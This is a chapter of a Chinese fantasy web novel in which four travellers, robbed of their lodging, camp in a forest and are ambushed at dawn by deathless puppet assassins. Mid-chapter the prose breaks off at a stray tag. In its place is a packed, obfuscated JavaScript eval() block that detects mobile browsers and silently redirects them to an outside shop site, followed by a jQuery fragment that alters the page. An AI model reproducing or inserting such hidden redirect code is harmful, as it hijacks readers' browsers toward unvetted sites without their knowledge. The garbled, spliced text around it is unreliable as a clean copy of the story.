他们四个呆在原地许久,望着原本是客栈的地方变成了一片树林还是有些懵。
叶书意有点体会到那种大梦一场的感觉了。
直到夜晚的冷风吹过,叶书意打了个寒颤后,她率先搓了搓手,后朝着四周望了望。
看样子今夜是没地方供他们度夜了,只能在这树林里凑合凑合。
想来这下总应该没有再比这更糟的事情了…吧。
叶书意索性放平心态,转身坐到一棵大树下去,“我们便在此歇息罢,”
他们的行李跟着那座城一起消失了,如今连个能当作被子盖的衣服都没有。
明甫逸仍旧气愤不已,“他这和明抢有甚么区别?”
“他本来就是明抢。”叶书意回他。
“到底是什么人,他为何能瞬间和一座城一起消失不见?”明甫逸也还是没从刚才的震惊中缓过来。
叶书意摇头,去问顾阳策,但他也不知。
反正不像是幻术,也并非什么捏造的幻境,那城感觉不是虚构出来的。不过既然能和金鼎存在些许关系,能出现这种情况倒也还算合理。
就是没想到那个店小二竟然利用这个来骗人的钱。
明甫逸伸手摸着自己空荡荡的腰间,他如今除了一把失了灵气的剑,什么都没有了。
这回是他出远门,又突然没了银钱,而去金鼎的一路免不得要用钱,他根本不能接受这个现实。
就连换洗的衣物都没了,明甫逸垂头看着自己今日新换的昂贵衣袍,咬着牙恨不得把那个店小二抓来狠狠揍一顿。
揍的对方哭爹喊娘才好。
又抬眼望着他们所处的这片树林,眼底愈发阴沉。
吉枝很快接受这个现实,也转身去了叶书意身旁坐下。他们三个靠着树干,望着头顶的天空,一时间实在觉得有几分凄凉。
叶书意看向明甫逸迟迟没动的背影,沉默了片刻后开口道:“明公子待天亮再做打算罢。”
无论是去哪,送快递的路上不会容易。
明甫逸没经历过什么大的挫折,如今算是一贫如洗了,他再跟他们继续下去恐怕得重塑一下对修真界的印象。
倘若明甫逸要走,她也是必然支持的。但现在这一夜,他们依然是要凑合度过的。
谁知明甫逸回头看她,“我作何打算?”
叶书意索性讲话说明白:“天色已晚不适合赶路,明早回去更方便些。”
闻言,明甫逸朝她走近几步,“你让我走?”
这质问的语气有种叶书意逼他离开的感觉,叫叶书意一皱眉,“你不走?”
明甫逸冷哼一声,一屁股盘腿坐在他们面前,手中的剑放在双膝上,提高了音量道:“小爷我是这种一有事就逃的人么?这次金鼎之行,就是天上下刀子,我明甫逸也是照样要去的。”
叶书意赶忙摆手,“不不不,不吉利,可不能真下刀子。”
明甫逸直着脖颈,说的气势昂扬:“虽然我的确没吃过苦,但这将是一切的开始,我会度过我从前没经历过的所有困难。”
叶书意感觉他跟在那宣誓一样。
但是明甫逸给自己说激动了,片刻后又猛地站起身,前一刻还在说再遇见店小二一定要将失去的都夺回来,后一刻莫名其妙捡起地上的树枝,说要烤火。
叶书意想起身帮他,结果被他抬手义正言辞地拒绝:“这是我自己的苦。”
“……”感觉这货好像有点神经。
这该吃的苦还没到呢,他自己先励志起来了。
叶书意干脆顺了他的意,原地没动,看着明甫逸左一个右一个地将树枝堆起来,后借了顾阳策的火折子,终于将火燃起来了。
以为明甫逸能消停了,结果明甫逸伸手问叶书意要烙饼。
“你饿了?”叶书意将烙饼递给他,还惊奇着明甫逸居然主动问她要这曾经被嫌弃的东西,片刻后明甫逸将那饼放在火上开始烤。
他目光炯炯,满脸认真地道:“我给你们烤饼吃。”
其他三人:“……?”
叶书意真的很想敲开明甫逸的脑袋给他说:“嗨,大哥,现在是凌晨,没到饭点呢。”
但她还是很赏脸地一笑,立马收回其他烙饼,只给明甫逸留了一张正在烤的。
“还不饿,一张饼足够。”她抱紧了怀里的烙饼,“我们分着吃。”
希望翌日天亮时,明甫逸能恢复如往常一样,不然实在有些吓人。
待明甫逸烤好,他们四个真就一人一块,默默地围在一起吃起饼来。
这是明甫逸从未有过的新奇体验,更是深刻记忆的其中之一。他向来因明家公子的身份受人尊重、惧怕和妒忌,家中不允许他私下结交好友,就连琉光宗的师兄弟都被通了气,永远疏离地维持那表面的功夫。
这是他第一次逃离明家的掌控范围,一路随行的几人没有怕他到连玩笑都不敢开。他是明家捧在手心的宝贝,却更是明甫逸。
原来他也会没钱,在很凉的夜风中度过他逃离的第一天。
明甫逸看向其他三人片刻,后将手中的那块吃完,率先自荐道:“我给你们守夜。”
叶书意摆手,“轮流罢。”
明甫逸倒也没拒绝,只是做了第一个守夜人。
叶书意和顾阳策挪到旁边互相靠着开始歇息,一起取暖要比单人更好些。
吉枝怕冷,便挪到了燃起的火堆旁。明甫逸坐在吉枝的对面,那张如平日皱眉冷着的脸在反复跳动的火光中多了几分柔和。
寂静中适合思索,明甫逸紧皱的眉头始终未平,像是想起了什么事情。
他在学着独立,如他的心上人所说的那样。
成为一个男子汉。
只是这次出行突然,明甫逸有些担心。尽管离开前派人送了封信回去,但他还是不免担忧家中有人要来捉他回去。
倒是夜里的树林偶有骤然的声音响起,虽都只是些正常的风声呼啸亦或鸟类尖叫,却仍然突兀,几次三番打断了明甫逸的思绪。
他回过神,瞧见每每一有动静就被吓一跳、根本无法入睡的吉枝,不由得笑了声:
“这么胆小?”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13749755|144789||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
吉枝睁眼看他但没说话,又听明甫逸声音很轻地传入她耳中:“这胆子怎么做的残枫宗弟子?”
闻言,吉枝一愣,垂下眸也仍未答话。
“瞧你似乎一路上也未有佩剑,不会是也忘了罢?”明甫逸拨弄了一下火堆,又甩了根树枝进去。
“没有。”吉枝声若细蚊地道。
明甫逸果然没听清,凑近几分疑惑:“你说甚么?”
“我…没有佩剑。”吉枝便重复道,“不是忘了。”
闻言,明甫逸奇怪地打量她几眼。
——残枫宗的弟子没有佩剑,这不是荒唐么?
就算是学艺不精的弟子,只要入了残枫宗,那都是会有佩剑的。且无论是出席各类活动还是日常出门时,持剑是残枫宗的基本规矩,否则便是犯忌。
明甫逸早有听闻残枫宗对佩剑极其重视,大到铸剑师选哪一位,小到剑上刻纹,都有宗门数条规定。
而吉枝顶着残枫宗弟子的名头,竟然是连把剑都没有?
“你初入残枫宗么?”明甫逸便问她。
吉枝摇头,“已有十多年。”
这让明甫更觉奇怪。但吉枝似乎不愿再讨论这个,翻了个身背对着她,再无别的动静。
见此,明甫逸自然不会自讨没趣。他没再说话,也有些困乏起来,手掌托着下巴半眯了眼,打了个哈欠。
眼见天已是蒙蒙亮,明甫逸正要叫醒叶书意轮换,却先听见了树丛中传来很细微的一阵不寻常的声音。
“谁?”明甫逸手握剑柄,满面警惕。
但一切回归平静,仿佛是他的错觉。
“叶书意。”明甫逸唤了叶书意一声,顺带将其他人都叫醒了。“有异常。”
叶书意顿时醒了,朝着明甫逸的视线方向看去,还觉得宁静如常的时候,头顶的一圈树木上仿佛骤然间大变活人了。
十余个身着黑衣的人从天而降,顿时将他们包围。
顾阳策瞬间拔了剑,气氛变得剑拔弩张起来。叶书意本欲试探对方是何人。谁知还未开口,对方就已经二话不说朝着他们冲来。
明甫逸和顾阳策先行上前,和人打了起来。
这些人修为大批不低,甚至更像是训练有素的杀手。叶书意没有称手的武器,只好捡起地上的树条,连打带踹的,保自己不受伤。
奈何吉枝似乎修为不怎么强,抵抗一人都难得很,就更别说几人一起。叶书意也顾不上疑惑,一把将吉枝拉过身后,抬脚踹俩,后甩手给了吉枝一个结界。
但很快,打斗过程中他们也不难发现,这群人似乎不会受伤。
哪怕长剑刺过,伤口流了血却片刻后就能恢复。
叶书意不由得道:“这些到底是什么东西?”
明甫逸冲她喊道:“傀儡——得快点跑。”
不死不伤,他们根本无法斗得过。
可他们正被层层包围,如何逃脱的出去?
正如此想着,叶书意的面前正巧出现了一个缺口,她顿时抬手将吉枝推了出去,随后对他们道:“现在走。”